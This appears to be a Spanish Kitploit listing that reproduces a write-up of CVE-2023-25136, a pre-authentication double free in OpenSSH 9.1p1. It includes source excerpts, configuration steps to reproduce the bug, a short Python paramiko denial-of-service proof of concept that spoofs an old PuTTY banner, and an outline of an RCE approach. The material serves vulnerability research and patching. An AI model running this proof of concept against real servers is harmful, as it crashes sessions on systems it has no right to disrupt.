Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-25136 — OpenSSH Pre-Auth Double Free CVE-2023-25136 – Writeup y Prueba de Concepto | Kitploit
Herramientas/GitHubGitHub/malvika-thakur/cve-2023-25136
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHubmalvika-thakur/cve-2023-25136

CVE-2023-25136

OpenSSH Pre-Auth Double Free CVE-2023-25136 – Writeup y Prueba de Concepto

Ver Repositorio
34hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

OpenSSH (CVE-2023-25136) Doble liberación previa a la autenticación – Informe y PoC

¿Qué es OpenSSH?

OpenSSH es una herramienta popular utilizada para la comunicación segura y el acceso remoto. Fue desarrollada como una implementación libre y de código abierto del protocolo de comunicaciones Secure Shell (SSH) y es ampliamente utilizada para diversas aplicaciones.

OpenSSH proporciona una conexión segura y cifrada entre dos hosts que no son de confianza a través de una red insegura, lo que lo convierte en una herramienta esencial para el acceso remoto y la transferencia segura de archivos.

Con el creciente uso de la computación en la nube y el acceso remoto a servidores, OpenSSH se ha convertido en una herramienta crucial para administradores de sistemas y desarrolladores que necesitan acceder y gestionar sistemas remotos de forma segura.

OpenSSH también admite una amplia gama de plataformas, incluyendo Linux, macOS y Windows, lo que lo convierte en una herramienta ampliamente adoptada en diferentes sistemas operativos. Por su facilidad de uso y sus sólidas funciones de seguridad, OpenSSH se ha convertido en una herramienta estándar de la industria para el acceso remoto seguro.

Contexto de la vulnerabilidad

El 2 de febrero de 2023, OpenSSH publicó la versión 9.2p1 con este aviso de seguridad. Inmediatamente quedó claro que esta versión es de interés debido a la vulnerabilidad de doble liberación previa a la autenticación. Al buscar en el repositorio de GitHub de OpenSSH, este es el commit de la corrección.

El mensaje del commit indica bz3522, que se refiere al problema de reportado por el usuario Mantas Mikulėnas.

Bugzilla

En su informe, Mantas menciona el uso de la versión obsoleta 0.64 de PuTTY, y también adjunta un back-trace del aborto por doble liberación.

Recorrido de la investigación

Para profundizar, configuramos un entorno con el OpenSSH 9.1p1 vulnerable y obtuvimos una copia de la versión antigua de PuTTY 0.64, publicada hace 8 años, el 28 de febrero de 2015.

Se devolvió el siguiente error después de intentar conectar con PuTTY 0.64 al servidor OpenSSH vulnerable:

1_PuTTY-0 64-Fatal-Error

Dado que los algoritmos de intercambio de claves del cliente obsoleto no son compatibles con la nueva versión de OpenSSH, editamos el archivo sshd_config agregando la siguiente línea a /etc/ssh/sshd_config : KexAlgorithms +diffie-hellman-group1-sha1

Después de reiniciar el servidor SSH e intentarlo de nuevo, se devolvió el siguiente error:

2_PuTTY-Fatal-Error

Después de agregar otra línea de configuración al sshd_config, pudimos conectarnos al servidor OpenSSH vulnerable y reproducir el fallo:

HostKeyAlgorithms +ssh-rsa

Al ejecutar el servidor en modo de depuración (usando la opción -ddd), se devolvió el siguiente mensaje de depuración:

ssh_sandbox_violation: unexpected system call (arch:0xc000003e,syscall:20 @ 0x7fd7473fb771) [preauth]

El número de syscall 20 es writev(), lo que coincide con el informe de Bugzilla.

Ten en cuenta que los cambios de configuración que hicimos fueron solo para reproducir la vulnerabilidad a través de PuTTY y no son necesarios para explotarla. Como veremos en el PoC, la configuración predeterminada es vulnerable.

Detalles en profundidad de la vulnerabilidad

Comenzamos examinando el commit de la corrección que indica que compat_kex_proposal() es responsable de la doble liberación. Cuando la opción de compatibilidad de conexión SSH_OLD_DHGEX es verdadera en [1], el segundo argumento p se asigna a cp en [2] y luego se libera en [3].

root@kitploit:~
/* Always returns pointer to allocated memory, caller must free. */
char *
compat_kex_proposal(struct ssh *ssh, char *p)
{
    char *cp = NULL;


    if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
        return xstrdup(p);
    debug2_f("original KEX proposal: %s", p);
    if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
        if ((p = match_filter_denylist(p,
            "[email protected]")) == NULL)
            fatal("match_filter_denylist failed");
    if ((ssh->compat & SSH_OLD_DHGEX) != 0) {               [1]
        cp = p;                                             [2]
        if ((p = match_filter_denylist(p,
            "diffie-hellman-group-exchange-sha256,"
            "diffie-hellman-group-exchange-sha1")) == NULL)
            fatal("match_filter_denylist failed");
        free(cp);                                           [3]
    }
    debug2_f("compat KEX proposal: %s", p);
    if (*p == '\0')
        fatal("No supported key exchange algorithms found");
    return p;
}

La llamada a compat_kex_proposal() está dentro de la función do_ssh2_kex():

root@kitploit:~
    myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh,
        options.kex_algorithms);

El cp=p liberado de compat_kex_proposal() se refiere al argumento options.kex_algorithms.

Al buscar kex_algorithms en el código fuente, nos encontramos con assemble_algorithms del fallo en el informe de Bugzilla:

root@kitploit:~
ASSEMBLE(kex_algorithms, def_kex, all_kex);

ASSEMBLE es una macro para llamar a la función kex_assemble_names():

root@kitploit:~
#define ASSEMBLE(what, defaults, all) \
    do { \
        if ((r = kex_assemble_names(&o->what, defaults, all)) != 0) \
            fatal_fr(r, "%s", #what); \
    } while (0)

La función kex_assemble_names() se llama con la dirección de o->kex_algorithms como su primer argumento (que es listp). Aquí es donde ocurre la segunda liberación.

root@kitploit:~
int
kex_assemble_names(char **listp, const char *def, const char *all)

Debido a que el identificador options.kex_algorithms se libera y se convierte en un puntero colgante, se libera una vez más, lo que causa una doble liberación.

Pero, ¿dónde se establece la opción SSH_OLD_DHGEX?

Dentro de la función compat_banner(), que determina los indicadores de errores a partir del banner del protocolo SSH. Una estructura llamada check[] enumera todos los IDs de clientes SSH y sus indicadores. El siguiente fragmento muestra los IDs de clientes a los que se les asigna la opción SSH_OLD_DHGEX. También podemos ver que WinSCP podría ser capaz de desencadenar este comportamiento.

root@kitploit:~
        { "PuTTY_Local:*,"  /* dev versions < Sep 2014 */ "PuTTY-Release-0.5*," /* 0.50-0.57, DH-GEX in >=0.52 */
          "PuTTY_Release_0.5*," /* 0.58-0.59 */
          "PuTTY_Release_0.60*,"
          "PuTTY_Release_0.61*,"
          "PuTTY_Release_0.62*,"
          "PuTTY_Release_0.63*,"
          "PuTTY_Release_0.64*",
                    SSH_OLD_DHGEX },
        { "FuTTY*",     SSH_OLD_DHGEX }, /* Putty Fork */
        { "WinSCP_release_4*,"
          "WinSCP_release_5.0*,"
          "WinSCP_release_5.1,"
          "WinSCP_release_5.1.*,"
          "WinSCP_release_5.5,"
          "WinSCP_release_5.5.*,"
          "WinSCP_release_5.6,"
          "WinSCP_release_5.6.*,"
          "WinSCP_release_5.7,"
          "WinSCP_release_5.7.1,"
          "WinSCP_release_5.7.2,"
          "WinSCP_release_5.7.3,"
          "WinSCP_release_5.7.4",
                    SSH_OLD_DHGEX },

Prueba de concepto

Optamos por crear una prueba de concepto de denegación de servicio en Python debido a su flexibilidad y portabilidad. La prueba de concepto desencadena la doble liberación usando el paquete paramiko y provoca un fallo de aborto.

paramiko es una implementación SSH en Python ampliamente utilizada, que ofrece funcionalidad tanto de servidor como de cliente. Para el PoC, cambiamos el banner de versión del cliente que se conecta para reflejar un cliente obsoleto como PuTTY v0.64.

Disponible en nuestro repositorio de GitHub.

root@kitploit:~
import paramiko


VICTIM_IP = "127.0.1"
CLIENT_ID = "PuTTY_Release_0.64"


def main():
    transport = paramiko.Transport(VICTIM_IP)
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='', password='')


if __name__ == "__main__":
    main()

Prueba de concepto de RCE

El exploit asigna otra estructura llamada EVP_AES_KEY en lugar del options.kex_algorithms liberado. Luego se libera nuevamente cuando ocurre la doble liberación. Después sobrescribe su contenido con otro chunk usando authctxt->user o authctxt->style.

Cuando EVP_Cipher() intente usar este EVP_AES_KEY más tarde, usará ese chunk que lo sobrescribió con datos controlados por el atacante.

Impacto de la vulnerabilidad

El demonio de OpenSSH escucha conexiones de los clientes. Hace un fork de un nuevo demonio para cada conexión entrante. Los demonios bifurcados manejan el intercambio de claves, el cifrado, la autenticación, la ejecución de comandos y el intercambio de datos.

La vulnerabilidad es una doble liberación que teóricamente puede explotarse para denegación de servicio, como lo demuestra nuestra prueba de concepto, y posiblemente para ejecución remota de código (RCE), aunque desarrollar un exploit funcional se considera difícil debido a las medidas de seguridad existentes, como un sandbox y el mecanismo de separación de privilegios. Para la denegación de servicio, ten en cuenta que solo los demonios bifurcados fallan, debido a una violación del sandbox al intentar llamar a writev(), por lo que deja al demonio principal del servidor libre para manejar nuevos clientes.

Esta vulnerabilidad recibió una calificación de severidad Alta por las siguientes razones:

  1. No se requieren prerrequisitos. Una configuración predeterminada es vulnerable.

  2. Cuando no se aplican mitigaciones de explotación de memoria (como ASLR o NX), RCE es posible, según una publicación reciente.

  3. En cuanto a un ataque de Denegación de Servicio, hacer fallar un proceso de trabajo bifurcado es mucho menos grave que un DoS que haga fallar un demonio importante, pero ambos recibirán una calificación CVSS de impacto en la Disponibilidad “Alta”.

  4. Ten en cuenta que OpenSSH ha implementado medidas de seguridad como un sandbox y el mecanismo de separación de privilegios, pero no deberían reducir la severidad del posible ataque RCE.

Objetivos de la vulnerabilidad

La vulnerabilidad aplica solo a OpenSSH versión 9.1p1 con una configuración predeterminada, lo que significa que no se requieren prerrequisitos.

Descargar herramienta